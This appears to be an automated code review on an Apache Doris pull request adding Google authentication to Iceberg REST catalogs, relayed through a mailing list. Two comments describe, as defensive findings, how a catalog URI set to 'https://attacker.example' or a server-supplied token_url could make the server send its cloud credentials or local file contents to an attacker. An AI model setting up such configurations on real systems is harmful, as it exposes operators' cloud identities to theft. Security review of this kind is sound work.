github-actions[bot] commented on code in PR #70965:
URL: https://github.com/apache/doris/pull/70965#discussion_r4692987032


##########
fe/fe-core/src/main/java/org/apache/doris/datasource/property/metastore/AbstractIcebergProperties.java:
##########
@@ -135,13 +161,22 @@ protected AbstractIcebergProperties(Map<String, String> 
props) {
     public final Catalog initializeCatalog(String catalogName,
                                            List<StorageProperties> 
storagePropertiesList) {
         Map<String, String> catalogProps = new HashMap<>(getOrigProps());
+        // Replayed and directly initialized catalogs must be checked before 
the SDK can authenticate.
+        IcebergGoogleCredentialValidator.validate(catalogProps);

Review Comment:
   [P1] Validate credentials at the late FileIO authentication boundary
   
   This check sees only the original SQL properties. A REST catalog starting 
with auth `none` can return server/table configuration containing 
`rest.auth.type=google`, an `external_account` `gcp.auth.credentials-json` with 
a file credential source and attacker HTTPS `token_url`, plus a GCS token with 
expired `gcs.oauth2.token-expires-at` and a refresh endpoint. 
[RESTSessionCatalog](https://github.com/apache/iceberg/blob/apache-iceberg-1.11.0/core/src/main/java/org/apache/iceberg/rest/RESTSessionCatalog.java#L1183-L1219)
 passes the merged configuration into FileIO after this validation. On a 
`gs://` metadata read, 
[OAuth2RefreshCredentialsHandler](https://github.com/apache/iceberg/blob/apache-iceberg-1.11.0/gcp/src/main/java/org/apache/iceberg/gcp/gcs/OAuth2RefreshCredentialsHandler.java#L113-L125)
 constructs a new Google AuthManager from that map: credential refresh reads 
the FE-readable file and POSTs its contents as the STS subject token before a 
successful storage/refresh response
  is needed. Serialized tasks can reach the same parser on BE. This is a 
separate server-supplied instance from thread 4689335449's fixed raw-SQL case. 
Validate the final effective credentials at every FileIO/refresh-auth boundary, 
including BE, or prevent late auth configuration from reaching these factories; 
add an expired-token negative case.



##########
fe/fe-core/src/main/java/org/apache/doris/datasource/property/metastore/IcebergRestProperties.java:
##########
@@ -347,6 +363,8 @@ private void addAuthenticationProperties() {
         Security security = 
Security.valueOf(icebergRestSecurityType.toUpperCase());
         if (security == Security.OAUTH2) {
             addOAuth2Properties();
+        } else if (security == Security.GOOGLE) {
+            icebergRestCatalogProperties.put(AuthProperties.AUTH_TYPE, 
AuthProperties.AUTH_MANAGER_IMPL_GOOGLE);

Review Comment:
   [P1] Restrict destinations before using the FE's default Google identity
   
   On an FE with operator ADC (for example a GCE service account), a user with 
catalog CREATE can set `iceberg.rest.security.type=google` and 
`iceberg.rest.uri=https://attacker.example`, omit credential properties, then 
trigger initialization with `SHOW DATABASES FROM c`. 
[GoogleAuthManager](https://github.com/apache/iceberg/blob/apache-iceberg-1.11.0/gcp/src/main/java/org/apache/iceberg/gcp/auth/GoogleAuthManager.java#L82-L120)
 obtains the FE's cloud-platform-scoped default credentials, and 
[GoogleAuthSession](https://github.com/apache/iceberg/blob/apache-iceberg-1.11.0/gcp/src/main/java/org/apache/iceberg/gcp/auth/GoogleAuthSession.java#L55-L75)
 sends their reusable bearer token on the first `/v1/config` request, before 
any valid catalog response. The public endpoint can then reuse that token 
outside Doris with the FE identity. Restrict ADC authentication destinations 
through operator-controlled policy, or require explicit user credentials for 
untrusted origins; cover raw `rest.aut
 h.type` selection too. This disclosure needs no credential JSON, so the new 
JSON validator does not address it.



##########
fe/be-java-extensions/preload-extensions/pom.xml:
##########
@@ -176,6 +176,37 @@ under the License.
             <groupId>software.amazon.awssdk</groupId>
             <artifactId>sdk-core</artifactId>
         </dependency>
+        <dependency>
+            <groupId>org.apache.doris</groupId>
+            <artifactId>fe-iceberg-common</artifactId>
+            <version>${project.version}</version>
+        </dependency>
+        <!-- Parent-loaded Iceberg deserializes FileIO objects and requires 
their entire closure in this loader. -->
+        <dependency>
+            <groupId>org.apache.iceberg</groupId>
+            <artifactId>iceberg-gcp</artifactId>

Review Comment:
   [P2] Preserve legacy task routing during the BE-first rollout
   
   Adding GCSFileIO here changes tasks sent by an older FE, which still 
serializes the SDK `ResolvingFileIO`. For a mixed-location table whose current 
metadata and manifest-list are on HDFS while a retained manifest is `gs://`, a 
fresh old-FE resolver can plan `$files` without opening that GCS manifest: 
[BaseFilesTable](https://github.com/apache/iceberg/blob/apache-iceberg-1.11.0/core/src/main/java/org/apache/iceberg/BaseFilesTable.java#L59-L87)
 only packages its descriptor, and Doris serializes the task. On the updated BE 
the first manifest read now successfully selects GCSFileIO/ADC, ignoring the 
serialized Hadoop HMAC settings; its HDFS delegate is cached under a different 
implementation key. Previously GCS loading failed and fell back to Hadoop. The 
new FE-only compatibility selection cannot protect this old-FE task, so the 
documented BE-first rollout breaks these metadata queries or changes their 
identity. Preserve Hadoop/native routing when consuming legacy resolver 
instances o
 n BE and cover an old-FE task whose GCS delegate was never opened during 
planning.



-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: [email protected]

For queries about this service, please contact Infrastructure at:
[email protected]


---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]

Reply via email to